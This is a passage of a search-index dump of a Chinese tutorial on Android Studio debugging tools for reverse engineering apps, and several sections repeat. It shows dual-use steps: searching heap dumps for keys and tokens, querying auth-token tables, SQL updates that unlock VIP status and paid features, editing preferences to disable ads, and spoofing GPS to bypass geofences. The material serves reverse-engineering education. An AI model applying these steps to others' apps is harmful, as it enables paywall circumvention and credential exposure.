// 场景：App 解密数据后存储在内存中 // 步骤： // 1. 在 App 加载数据后进行 Heap Dump // 2. 搜索可能的类名： // - *Key* // - *Secret* // - *Token* // - *Password* // 3. 查看对象的字段值 // 常见目标类： // - java.lang.String // - byte[] // - char[] // - SecretKeySpec // - PrivateKey ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#433-逆向应用内存中寻找敏感数据"},{"categories":null,"collections":null,"content":"4.4 Network Profiler 4.4.1 功能概述 - 请求时间线可视化 - 请求/响应详情 - 连接状态追踪 - 线程信息 # 注意： # - HTTPS 内容默认加密显示 # - 需要 HttpURLConnection 或 OkHttp # - Android 8.0+ 设备效果更好 4.4.2 限制与替代 Network Profiler 限制： - 无法解密 HTTPS - 不支持所有网络库 - 信息不够详细 替代方案： - Charles/Fiddler 抓包 - mitmproxy - Frida Hook 网络库 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#44-network-profiler"},{"categories":null,"collections":null,"content":"4.4 Network Profiler 4.4.1 功能概述 - 请求时间线可视化 - 请求/响应详情 - 连接状态追踪 - 线程信息 # 注意： # - HTTPS 内容默认加密显示 # - 需要 HttpURLConnection 或 OkHttp # - Android 8.0+ 设备效果更好 4.4.2 限制与替代 Network Profiler 限制： - 无法解密 HTTPS - 不支持所有网络库 - 信息不够详细 替代方案： - Charles/Fiddler 抓包 - mitmproxy - Frida Hook 网络库 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#441-功能概述"},{"categories":null,"collections":null,"content":"4.4 Network Profiler 4.4.1 功能概述 - 请求时间线可视化 - 请求/响应详情 - 连接状态追踪 - 线程信息 # 注意： # - HTTPS 内容默认加密显示 # - 需要 HttpURLConnection 或 OkHttp # - Android 8.0+ 设备效果更好 4.4.2 限制与替代 Network Profiler 限制： - 无法解密 HTTPS - 不支持所有网络库 - 信息不够详细 替代方案： - Charles/Fiddler 抓包 - mitmproxy - Frida Hook 网络库 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#442-限制与替代"},{"categories":null,"collections":null,"content":"4.5 Energy Profiler 追踪能耗事件： - CPU 唤醒 - 网络活动 - GPS 使用 - 传感器使用 - JobScheduler/WorkManager 任务 # 对逆向的帮助： # 了解 App 后台行为，检测后台数据上报 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:4:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#45-energy-profiler"},{"categories":null,"collections":null,"content":"5. 数据库检查器 (Database Inspector) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:5:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#5-数据库检查器-database-inspector"},{"categories":null,"collections":null,"content":"5.1 基本功能 1. 实时数据查看 2. 自定义 SQL 查询 3. 数据修改 4. 支持多个数据库 # 支持： # - SQLite # - Room # - SQLDelight ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:5:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#51-基本功能"},{"categories":null,"collections":null,"content":"5.2 使用方法 -- 查看所有表 SELECT name FROM sqlite_master WHERE type='table'; -- 查看表结构 PRAGMA table_info(users); -- 查询数据 SELECT * FROM users WHERE username='admin'; -- 修改数据（测试绕过） UPDATE users SET vip_status=1 WHERE id=1; UPDATE config SET debug_mode=1; ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:5:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#52-使用方法"},{"categories":null,"collections":null,"content":"5.3 逆向应用场景 分析数据结构 -- 常见敏感表 SELECT * FROM sessions; -- 会话信息 SELECT * FROM auth_tokens; -- 认证令牌 SELECT * FROM user_preferences; -- 用户配置 SELECT * FROM cache; -- 缓存数据 本地 VIP 绕过测试 -- 修改会员状态 UPDATE user_info SET is_vip=1, vip_expire_time=9999999999; -- 解锁功能 UPDATE features SET unlocked=1; 分析加密存储 -- 很多 App 使用加密数据库 -- 常见实现： -- - SQLCipher -- - Realm (加密模式) -- - 自定义加密 -- 如果数据库被加密，需要先获取密钥 -- 密钥可能在： -- - SharedPreferences -- - Native 代码 -- - 服务器下发 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:5:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#53-逆向应用场景"},{"categories":null,"collections":null,"content":"6. APK 分析器 (APK Analyzer) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#6-apk-分析器-apk-analyzer"},{"categories":null,"collections":null,"content":"6.1 基本概念 APK Analyzer 是 Android Studio 内置的 APK 文件分析工具，可以分析已编译的 APK 文件结构，无需源码。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#61-基本概念"},{"categories":null,"collections":null,"content":"6.2 打开方式 方式一：Build -\u003e Analyze APK -\u003e 选择 APK 文件 方式二：直接拖拽 APK 文件到 Android Studio 方式三：双击项目中的 APK 文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#62-打开方式"},{"categories":null,"collections":null,"content":"6.3 分析内容 6.3.1 文件结构 APK 文件结构： ├── AndroidManifest.xml # 应用配置 ├── classes.dex # Java/Kotlin 代码 ├── classes2.dex # MultiDex ├── resources.arsc # 编译后的资源 ├── res/ # 资源文件 │ ├── drawable/ │ ├── layout/ │ └── values/ ├── lib/ # Native 库 │ ├── armeabi-v7a/ │ ├── arm64-v8a/ │ ├── x86/ │ └── x86_64/ ├── assets/ # 原始资源 └── META-INF/ # 签名信息 6.3.2 AndroidManifest.xml 分析 \u003c!-- 关键信息 --\u003e \u003cmanifest package=\"com.example.app\"\u003e \u003c!-- 权限分析 --\u003e \u003cuses-permission android:name=\"android.permission.INTERNET\"/\u003e \u003cuses-permission android:name=\"android.permission.READ_PHONE_STATE\"/\u003e \u003c!-- 组件分析 --\u003e \u003capplication android:debuggable=\"false\" android:allowBackup=\"true\" android:name=\".MyApplication\"\u003e \u003c!-- Activity 入口 --\u003e \u003cactivity android:name=\".MainActivity\" android:exported=\"true\"\u003e \u003cintent-filter\u003e \u003caction android:name=\"android.intent.action.MAIN\"/\u003e \u003c/intent-filter\u003e \u003c/activity\u003e \u003c!-- Service 分析 --\u003e \u003cservice android:name=\".PushService\"/\u003e \u003c!-- Provider 分析 --\u003e \u003cprovider android:name=\".FileProvider\" android:authorities=\"com.example.fileprovider\"/\u003e \u003c/application\u003e \u003c/manifest\u003e 6.3.3 DEX 文件分析 功能： - 查看类列表 - 查看方法数量 - 分析包结构 - 查看定义的方法和引用的方法 # 64K 方法限制分析 # 查看每个 DEX 的方法数 6.3.4 资源分析 资源类型： - drawable: 图片资源 - layout: 布局文件（可查看 XML） - values: 字符串、颜色、尺寸等 - raw: 原始文件 - xml: 配置文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#63-分析内容"},{"categories":null,"collections":null,"content":"6.3 分析内容 6.3.1 文件结构 APK 文件结构： ├── AndroidManifest.xml # 应用配置 ├── classes.dex # Java/Kotlin 代码 ├── classes2.dex # MultiDex ├── resources.arsc # 编译后的资源 ├── res/ # 资源文件 │ ├── drawable/ │ ├── layout/ │ └── values/ ├── lib/ # Native 库 │ ├── armeabi-v7a/ │ ├── arm64-v8a/ │ ├── x86/ │ └── x86_64/ ├── assets/ # 原始资源 └── META-INF/ # 签名信息 6.3.2 AndroidManifest.xml 分析 6.3.3 DEX 文件分析 功能： - 查看类列表 - 查看方法数量 - 分析包结构 - 查看定义的方法和引用的方法 # 64K 方法限制分析 # 查看每个 DEX 的方法数 6.3.4 资源分析 资源类型： - drawable: 图片资源 - layout: 布局文件（可查看 XML） - values: 字符串、颜色、尺寸等 - raw: 原始文件 - xml: 配置文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#631-文件结构"},{"categories":null,"collections":null,"content":"6.3 分析内容 6.3.1 文件结构 APK 文件结构： ├── AndroidManifest.xml # 应用配置 ├── classes.dex # Java/Kotlin 代码 ├── classes2.dex # MultiDex ├── resources.arsc # 编译后的资源 ├── res/ # 资源文件 │ ├── drawable/ │ ├── layout/ │ └── values/ ├── lib/ # Native 库 │ ├── armeabi-v7a/ │ ├── arm64-v8a/ │ ├── x86/ │ └── x86_64/ ├── assets/ # 原始资源 └── META-INF/ # 签名信息 6.3.2 AndroidManifest.xml 分析 6.3.3 DEX 文件分析 功能： - 查看类列表 - 查看方法数量 - 分析包结构 - 查看定义的方法和引用的方法 # 64K 方法限制分析 # 查看每个 DEX 的方法数 6.3.4 资源分析 资源类型： - drawable: 图片资源 - layout: 布局文件（可查看 XML） - values: 字符串、颜色、尺寸等 - raw: 原始文件 - xml: 配置文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#632-androidmanifestxml-分析"},{"categories":null,"collections":null,"content":"6.3 分析内容 6.3.1 文件结构 APK 文件结构： ├── AndroidManifest.xml # 应用配置 ├── classes.dex # Java/Kotlin 代码 ├── classes2.dex # MultiDex ├── resources.arsc # 编译后的资源 ├── res/ # 资源文件 │ ├── drawable/ │ ├── layout/ │ └── values/ ├── lib/ # Native 库 │ ├── armeabi-v7a/ │ ├── arm64-v8a/ │ ├── x86/ │ └── x86_64/ ├── assets/ # 原始资源 └── META-INF/ # 签名信息 6.3.2 AndroidManifest.xml 分析 6.3.3 DEX 文件分析 功能： - 查看类列表 - 查看方法数量 - 分析包结构 - 查看定义的方法和引用的方法 # 64K 方法限制分析 # 查看每个 DEX 的方法数 6.3.4 资源分析 资源类型： - drawable: 图片资源 - layout: 布局文件（可查看 XML） - values: 字符串、颜色、尺寸等 - raw: 原始文件 - xml: 配置文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#633-dex-文件分析"},{"categories":null,"collections":null,"content":"6.3 分析内容 6.3.1 文件结构 APK 文件结构： ├── AndroidManifest.xml # 应用配置 ├── classes.dex # Java/Kotlin 代码 ├── classes2.dex # MultiDex ├── resources.arsc # 编译后的资源 ├── res/ # 资源文件 │ ├── drawable/ │ ├── layout/ │ └── values/ ├── lib/ # Native 库 │ ├── armeabi-v7a/ │ ├── arm64-v8a/ │ ├── x86/ │ └── x86_64/ ├── assets/ # 原始资源 └── META-INF/ # 签名信息 6.3.2 AndroidManifest.xml 分析 6.3.3 DEX 文件分析 功能： - 查看类列表 - 查看方法数量 - 分析包结构 - 查看定义的方法和引用的方法 # 64K 方法限制分析 # 查看每个 DEX 的方法数 6.3.4 资源分析 资源类型： - drawable: 图片资源 - layout: 布局文件（可查看 XML） - values: 字符串、颜色、尺寸等 - raw: 原始文件 - xml: 配置文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#634-资源分析"},{"categories":null,"collections":null,"content":"6.4 APK 比较功能 1. 打开第一个 APK 2. 点击 \"Compare with previous APK\" 3. 选择第二个 APK 4. 查看差异： - 文件大小变化 - 新增/删除的文件 - 修改的文件 # 应用场景： # - 分析版本更新变化 # - 对比加固前后差异 # - 追踪功能变更 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#64-apk-比较功能"},{"categories":null,"collections":null,"content":"6.5 逆向应用场景 快速了解 APK 结构 识别加固壳（查看 DEX 结构异常） 分析 Native 库架构支持 查看使用的第三方 SDK 提取资源 图片资源 配置文件 assets 中的数据文件 分析签名 META-INF/CERT.RSA 或 CERT.SF 查看签名者信息 验证 APK 完整性 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:6:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#65-逆向应用场景"},{"categories":null,"collections":null,"content":"7. 设备文件浏览器 (Device File Explorer) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:7:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#7-设备文件浏览器-device-file-explorer"},{"categories":null,"collections":null,"content":"7.1 基本功能 View -\u003e Tool Windows -\u003e Device File Explorer 功能： - 浏览设备文件系统 - 上传/下载文件 - 删除文件 - 创建目录 - 查看文件权限 # Root 设备可以访问更多目录 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:7:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#71-基本功能"},{"categories":null,"collections":null,"content":"7.2 重要目录 /data/data/\u003cpackage\u003e/ # App 私有数据（需要 root 或 debuggable） ├── shared_prefs/ # SharedPreferences XML ├── databases/ # SQLite 数据库 ├── cache/ # 缓存目录 ├── files/ # 内部文件存储 └── lib/ # Native 库链接 /data/app/\u003cpackage\u003e/ # APK 安装目录 ├── base.apk # 主 APK └── lib/ # Native 库 /sdcard/Android/data/\u003cpackage\u003e/ # 外部存储（App 专用） /sdcard/Android/obb/\u003cpackage\u003e/ # OBB 扩展文件 /system/ # 系统目录 /vendor/ # 厂商定制 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:7:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#72-重要目录"},{"categories":null,"collections":null,"content":"7.3 逆向应用场景 提取 App 数据 # 数据库 /data/data/com.example.app/databases/app.db # SharedPreferences /data/data/com.example.app/shared_prefs/config.xml # 缓存的配置 /data/data/com.example.app/cache/ 分析运行时生成的文件 # 动态加载的 DEX /data/data/com.example.app/files/*.dex # 解密后的 SO /data/data/com.example.app/files/*.so 修改配置测试 \u003c!-- 修改 SharedPreferences --\u003e \u003c!-- 下载 -\u003e 编辑 -\u003e 上传 --\u003e \u003cmap\u003e \u003cboolean name=\"is_first_run\" value=\"false\"/\u003e \u003cboolean name=\"ad_enabled\" value=\"false\"/\u003e \u003cboolean name=\"debug_mode\" value=\"true\"/\u003e \u003c/map\u003e ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:7:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#73-逆向应用场景"},{"categories":null,"collections":null,"content":"8. App Inspection 统一面板 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:8:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#8-app-inspection-统一面板"},{"categories":null,"collections":null,"content":"8.1 概述 App Inspection 是 Android Studio Arctic Fox 引入的统一检查面板，整合了多个工具。 View -\u003e Tool Windows -\u003e App Inspection 包含： - Database Inspector - Background Task Inspector - Network Inspector (新) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:8:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#81-概述"},{"categories":null,"collections":null,"content":"8.2 Background Task Inspector 监控后台任务： - WorkManager 任务 - JobScheduler 任务 - AlarmManager 任务 功能： - 查看任务状态 - 查看任务约束 - 取消任务 - 触发任务立即执行 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:8:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#82-background-task-inspector"},{"categories":null,"collections":null,"content":"8.3 Network Inspector (新版) 比旧版 Network Profiler 更强大： - 请求/响应详情 - 更好的搜索过滤 - 规则编辑（拦截修改请求） # 仍然无法解密 HTTPS ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:8:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#83-network-inspector-新版"},{"categories":null,"collections":null,"content":"9. 模拟器扩展控制 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:9:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#9-模拟器扩展控制"},{"categories":null,"collections":null,"content":"9.1 Extended Controls 模拟器 -\u003e ... 按钮 -\u003e Extended Controls 功能类别： - Location: GPS 模拟 - Cellular: 网络状态模拟 - Battery: 电池状态 - Phone: 来电/短信模拟 - Directional pad: 方向键 - Microphone: 麦克风输入 - Fingerprint: 指纹模拟 - Virtual sensors: 传感器模拟 - Camera: 摄像头模拟 - Snapshots: 快照管理 - Screen record: 屏幕录制 - Google Play: Play 服务 - Settings: 模拟器设置 - Bug report: 生成 bug 报告 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:9:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#91-extended-controls"},{"categories":null,"collections":null,"content":"9.2 GPS 位置模拟 用途： - 测试基于位置的功能 - 绕过地理围栏限制 - 模拟行进轨迹 方法： 1. Extended Controls -\u003e Location 2. 输入经纬度 或 搜索地点 3. 点击 \"Set Location\" # GPX/KML 文件支持路径模拟 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:9:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#92-gps-位置模拟"},{"categories":null,"collections":null,"content":"9.3 快照 (Snapshots) 功能： - 保存模拟器完整状态 - 快速恢复到特定状态 - 加速调试流程 应用场景： - 保存登录后状态 - 保存特定 App 状态 - 快速复现问题 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:9:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#93-快照-snapshots"},{"categories":null,"collections":null,"content":"9.4 指纹模拟 1. Extended Controls -\u003e Fingerprint 2. 选择指纹 ID (1-10) 3. 点击 \"Touch Sensor\" # 测试生物认证功能 # 无需实际指纹硬件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:9:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#94-指纹模拟"},{"categories":null,"collections":null,"content":"10. Smali 调试 (smalidea) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#10-smali-调试-smalidea"},{"categories":null,"collections":null,"content":"10.1 概述 smalidea 是一个 Android Studio 插件，允许直接调试反编译后的 Smali 代码。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#101-概述"},{"categories":null,"collections":null,"content":"10.2 安装配置 1. 下载 smalidea 插件 https://github.com/JesusFreke/smalidea 2. 安装插件 Settings -\u003e Plugins -\u003e Install from disk 3. 重启 Android Studio ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#102-安装配置"},{"categories":null,"collections":null,"content":"10.3 项目配置 1. 使用 apktool 反编译 APK apktool d target.apk -o target_smali 2. 在 Android Studio 中打开项目 File -\u003e Open -\u003e 选择反编译目录 3. 设置为 Smali 项目 File -\u003e Project Structure -\u003e Modules -\u003e + -\u003e Import Module -\u003e 选择 smali 目录 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#103-项目配置"},{"categories":null,"collections":null,"content":"10.4 调试步骤 1. 修改 AndroidManifest.xml 添加 android:debuggable=\"true\" 2. 重新打包签名 apktool b target_smali -o target_debug.apk jarsigner -keystore debug.keystore target_debug.apk alias 3. 安装到设备 adb install target_debug.apk 4. 在 Smali 代码中设置断点 .line 42 invoke-virtual {v0}, Lcom/example/Test;-\u003eencrypt()V # \u003c-- 断点 5. 附加调试器 Run -\u003e Attach Debugger to Android Process ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:4","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#104-调试步骤"},{"categories":null,"collections":null,"content":"10.5 Smali 调试技巧 # 查看寄存器值 # 断点暂停后，在 Variables 面板查看 v0, v1, p0, p1 等 # 常见寄存器： # p0 = this (非静态方法) # p1, p2... = 方法参数 # v0, v1... = 局部变量 # 修改寄存器值 # 右键 -\u003e Set Value ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:10:5","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#105-smali-调试技巧"},{"categories":null,"collections":null,"content":"11. Native 调试 (LLDB) ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:0","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#11-native-调试-lldb"},{"categories":null,"collections":null,"content":"11.1 概述 Android Studio 集成了 LLDB 调试器，支持调试 C/C++ Native 代码。 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:1","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#111-概述"},{"categories":null,"collections":null,"content":"11.2 配置要求 1. 安装 NDK SDK Manager -\u003e SDK Tools -\u003e NDK 2. 安装 LLDB SDK Manager -\u003e SDK Tools -\u003e LLDB 3. App 需要包含调试符号 或使用带符号的 SO 文件 ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:2","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#112-配置要求"},{"categories":null,"collections":null,"content":"11.3 调试方式 11.3.1 源码调试 1. 打开包含 Native 代码的项目 2. 选择 Native 调试配置 Run -\u003e Edit Configurations -\u003e Debugger -\u003e Debug type: Dual (Java + Native) 3. 在 C/C++ 代码中设置断点 4. 点击 Debug 运行 11.3.2 附加到进程 1. Run -\u003e Attach Debugger to Android Process 2. 选择进程 3. Debugger 选择 Native Only 或 Dual 4. 点击 OK ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#113-调试方式"},{"categories":null,"collections":null,"content":"11.3 调试方式 11.3.1 源码调试 1. 打开包含 Native 代码的项目 2. 选择 Native 调试配置 Run -\u003e Edit Configurations -\u003e Debugger -\u003e Debug type: Dual (Java + Native) 3. 在 C/C++ 代码中设置断点 4. 点击 Debug 运行 11.3.2 附加到进程 1. Run -\u003e Attach Debugger to Android Process 2. 选择进程 3. Debugger 选择 Native Only 或 Dual 4. 点击 OK ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#1131-源码调试"},{"categories":null,"collections":null,"content":"11.3 调试方式 11.3.1 源码调试 1. 打开包含 Native 代码的项目 2. 选择 Native 调试配置 Run -\u003e Edit Configurations -\u003e Debugger -\u003e Debug type: Dual (Java + Native) 3. 在 C/C++ 代码中设置断点 4. 点击 Debug 运行 11.3.2 附加到进程 1. Run -\u003e Attach Debugger to Android Process 2. 选择进程 3. Debugger 选择 Native Only 或 Dual 4. 点击 OK ","date":"2024-04-04","objectID":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/:11:3","tags":["RSA","Native层","浏览器指纹","签名验证","Frida","JNI"],"title":"Android Studio 调试工具集","uri":"/reverse_engineering/android/04-reference/foundations/android_studio_debug_tools/#1132-附加到进程"},{"categories":null,"collections":null,"content":"11.4 LLDB 命令 # 基本命令 (lldb) bt # 查看调用栈 (lldb) frame select 2 # 选择栈帧 (lldb) register read # 查看寄存器 (lldb) memory read 0x12345678 # 读取内存 (lldb) disassemble -a 0x12345678 # 反汇编 # 断点 (lldb) b JNI_OnLoad # 函数断点 (lldb) b *0x12345678 # 地址断点 (lldb) br list # 列出断点 (lldb) br del 1 # 删除断点 # 执行控制 (lldb) c # 继续执行 (lldb) n # 步过 (lldb) s # 步入 (lldb) finish # 步出 # 表达式 (lldb) p (char*)$x0 # 打印寄存器值 (lldb) x/10x $sp # 